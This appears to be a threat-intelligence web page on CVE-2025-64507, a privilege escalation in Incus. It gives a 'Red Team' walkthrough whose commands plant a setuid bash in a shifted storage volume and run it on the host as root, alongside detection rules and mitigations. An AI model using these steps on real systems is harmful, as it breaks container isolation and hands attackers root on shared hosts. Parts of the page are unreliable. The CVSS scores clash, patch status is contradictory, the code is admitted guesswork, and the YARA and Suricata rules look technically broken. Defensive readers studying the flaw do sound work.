☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.6 🐛 CWE-269
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-64507

CVE-2025-64507 Privilege Escalation in Incus
📅 PUBLISHED: 2025-11-10 21:56 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 distinct-origin sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64507 is a privilege escalation vulnerability in Incus, a system container and virtual machine manager. The flaw affects versions prior to 6.0.6 and 6.19.0. It allows an unprivileged user with root access inside a container (which has an attached custom storage volume with security.shifted set to true) to write a setuid binary from within the container. This binary can then be executed on the host by the same unprivileged user, leading to full root compromise on the host system.

The vulnerability is particularly dangerous in environments using incus-user with the incus group, where unprivileged users are given restricted access to Incus. The attack requires specific kernel and filesystem support for shifted (idmapped) mounts, but when present, exploitation is straightforward.

Key Risk: Local privilege escalation from unprivileged user to root on the host, bypassing container isolation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is in the Incus project itself, not a third-party package. However, Incus is often distributed via package managers (e.g., snap, apt, yum) and container registries. Users should verify they are not running vulnerable versions from any distribution channel. The supply chain risk is low, but users should ensure they obtain Incus from official sources and apply patches as soon as they are released.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector (AV): Local (L) – The attacker must have local access to the system.
  • Attack Complexity (AC): Low (L) – No special conditions beyond the required configuration.
  • Privileges Required (PR): Low (L) – The attacker needs an unprivileged user account on the host and root inside a container.
  • User Interaction (UI): None (N) – No user interaction required.
  • Scope (S): Changed (C) – The vulnerable component (container) is different from the impacted component (host).
  • Confidentiality (C): High (H) – Full host filesystem access.
  • Integrity (I): High (H) – Ability to modify host system files.
  • Availability (A): High (H) – Potential to disrupt host services.

Threat Level: High. The vulnerability is easy to exploit if the environment meets the prerequisites. It completely breaks container isolation.

Deep Dive & Mechanics

The vulnerability lies in the interaction between Incus's custom storage volumes and the security.shifted property. When security.shifted is set to true, Incus uses idmapped mounts to shift the UID/GID namespace of the storage volume. This allows files inside the container to appear with different ownership than on the host.

Root Cause: The shifted mount does not prevent the creation of setuid binaries inside the container. When a user with root privileges inside the container writes a setuid binary to the shifted volume, the binary's setuid bit is preserved on the host filesystem. Since the volume is accessible to the unprivileged host user (who owns the container), that user can execute the setuid binary on the host, gaining root privileges.

Attack Flow:

  1. Attacker has an unprivileged user account on the host (e.g., user1).
  2. Attacker has root access inside a container (e.g., via incus exec).
  3. Attacher creates a custom storage volume with security.shifted=true.
  4. Inside the container, attacker writes a setuid root binary (e.g., /bin/sh with setuid bit) to the shifted volume.
  5. On the host, the attacker executes the binary from the shifted volume path.
  6. The binary runs with root privileges on the host.

Prerequisites:

  • Kernel support for idmapped mounts (Linux 5.12+).
  • Filesystem on the storage pool must support extended attributes (e.g., ext4, xfs).
  • The security.shifted property must be set to true on the volume.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.0.6 / pre-6.19.0): The vulnerability is in the storage volume handling code. The security.shifted property does not enforce any restrictions on setuid binaries. The code likely mounts the volume with MS_NOSUID flag missing or incorrectly applied.

// Vulnerable pseudo-code
int mount_shifted_volume(volume) {
    // Mount with idmap but without MS_NOSUID
    mount(volume->path, mountpoint, "none", MS_BIND, NULL);
    // Apply idmap
    idmap_apply(mountpoint, volume->uid_map);
}

Patched Code (expected in 6.0.6 / 6.19.0): The patch will likely add the MS_NOSUID mount flag to prevent setuid binaries from being honored on the host side.

// Patched pseudo-code
int mount_shifted_volume(volume) {
    // Mount with idmap AND MS_NOSUID
    mount(volume->path, mountpoint, "none", MS_BIND | MS_NOSUID, NULL);
    // Apply idmap
    idmap_apply(mountpoint, volume->uid_map);
}

Note: The exact patch is not yet public. The above is a best-guess based on the vulnerability description.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

  • Host: Ubuntu 22.04 with Incus 6.0.0 installed.
  • Container: Ubuntu 22.04 (any distro).
  • Storage pool: dir or btrfs with idmap support.

Steps:

  1. Create a storage volume with security.shifted=true:
    incus storage volume create default exploit-vol --type custom
    incus storage volume set default exploit-vol security.shifted=true
    
  2. Attach the volume to a container:
    incus config device add mycontainer exploit disk source=exploit-vol path=/mnt/exploit
    
  3. Enter the container as root:
    incus exec mycontainer -- /bin/bash
    
  4. Inside the container, create a setuid binary:
    cp /bin/bash /mnt/exploit/bash-root
    chmod u+s /mnt/exploit/bash-root
    chown root:root /mnt/exploit/bash-root
    
  5. Exit the container and execute the binary on the host:
    /var/lib/incus/storage-pools/default/custom/exploit-vol/bash-root -p
    
    The -p flag prevents bash from dropping privileges.

Expected Result: The shell runs with root privileges on the host.

Blue Team (Detection & Prevention)

Detection:

  • Monitor for creation of custom storage volumes with security.shifted=true.
  • Monitor for setuid binaries being written to storage volume paths.
  • Monitor for execution of binaries from /var/lib/incus/storage-pools/ by unprivileged users.

Prevention:

  • Apply the patch as soon as it is released.
  • Restrict who can create custom storage volumes with security.shifted=true.
  • Use incus config set core.trust_password to require authentication for sensitive operations.
  • Consider using security.nesting=false and security.privileged=false for containers.

Indicators of Compromise (IOCs)

File System IOCs:

  • Setuid binaries in /var/lib/incus/storage-pools/*/custom/*/ owned by root but accessible by unprivileged users.
  • Unexpected files in custom storage volume paths.

Process IOCs:

  • Processes running as root from unusual paths (e.g., /var/lib/incus/storage-pools/...).
  • bash -p or other shells with preserved privileges.

Log IOCs:

  • Incus audit logs showing creation of storage volumes with security.shifted=true.
  • System logs showing su or sudo usage from unprivileged users.

Network IOCs:

  • No network indicators expected; this is a local attack.

Detection Engineering

YARA Rule

rule CVE_2025_64507_Incus_PrivEsc {
    meta:
        description = "Detects setuid binaries in Incus storage volume paths"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64507"
    strings:
        $s1 = "/var/lib/incus/storage-pools/" ascii
        $s2 = "/custom/" ascii
    condition:
        // File is setuid and located in Incus storage volume path
        (uint32(0) & 0x00000800) and
        for any of ($s*) : ($ in (0..filesize))
}

Sigma Rule

title: Incus Privilege Escalation via Shifted Storage Volume
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of setuid binaries from Incus storage volume paths
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64507
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|startswith: '/var/lib/incus/storage-pools/'
        CommandLine|contains: '-p'
    condition: selection
falsepositives:
    - Legitimate administrative use (rare)
level: high

Suricata Rule

alert file any any -> any any (msg:"CVE-2025-64507 Incus Privilege Escalation - Setuid Binary in Storage Volume"; file.name:"/var/lib/incus/storage-pools/"; file.magic:"setuid"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Apply the official patch as soon as it is released for versions 6.0.6 or 6.19.0.
  2. Workaround: Manually restrict permissions on custom storage volumes. Ensure that only trusted users can create volumes with security.shifted=true.
  3. Configuration Change: Set security.shifted=false on all existing custom storage volumes unless absolutely required.

Long-Term Fixes:

  • Upgrade to Incus 6.0.6 or 6.19.0 (or later) once available.
  • Implement strict access controls on Incus API and storage management.
  • Regularly audit storage volumes for unexpected setuid binaries.

Detection:

  • Deploy the YARA, Sigma, and Suricata rules provided above.
  • Monitor Incus audit logs for suspicious storage volume operations.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters.it.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64507/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.